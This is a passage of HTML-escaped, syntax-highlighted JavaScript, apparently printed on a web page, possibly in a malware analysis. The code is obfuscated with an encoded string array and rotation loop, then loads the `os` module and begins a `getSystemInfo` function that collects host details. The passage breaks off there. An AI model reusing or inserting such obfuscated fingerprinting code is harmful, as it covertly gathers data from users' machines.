&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;oenrv2TXrW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Aw50zxjUywW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;zxHPDa&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;BMv0D29YA0LUDgvYzMfJzxm&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;DMfSDwvZ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;zMLUza&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;yuHsmgneB3zmELeXtgPrEKXQrxHmAKL4tvrVEe1QstbmmKz3yvm5AMfhvMPHmu4WwvHsmwn3pt0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;mZCYmJq2n0fgs1nhta&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;mZq3nZu2mMvdvMTiuG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;ANnVBG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Ag9ZDg5HBwu&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;ndu1ntKYmfnmwKf3tG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;yMfZzty0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;mJm4mJK5me94DNfsqq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;nuXHCMn4wG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;DxrMoa&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;mty2v1Dcsuju&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;ngzKuM1osG&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;CgXHDgzVCM0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;BwfJ&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;svb2na&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;mZa0nJu2qKDAr3zh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;nda0nMr5A2HxCq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;Dg9tDhjPBMC&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x363b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt; function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; _0x269185&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;_0x3c4758&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style: italic;&quot;&gt; _0x149891&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; _0x363b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;  while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF9CAC;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;    try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;      if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;171&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;177&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;184&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;172&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;169&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;176&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;192&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;185&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;179&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;168&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;193&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 11&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; + -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;parseInt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x492dd2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;166&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; ===&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 272461&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;      }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      _0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;shift&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;font-style: italic;&quot;&gt; catch&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;_0x17c646&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      _0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;push&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;_0x130bf3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;shift&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;())&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span&gt;)()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; require&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C3E88D;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;var&lt;&#x2F;span&gt;&lt;span&gt; sysId&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt; getSystemInfo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; _0x3354&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x15b00f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;165&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)]()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0xd6f4f2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x5dbe7b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;release&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C792EA;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span&gt; _0x2272bd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; os&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #82AAFF;&quot;&gt;_0x55bf55&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F78C6C;&quot;&gt;173&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;)]()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #89DDFF;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
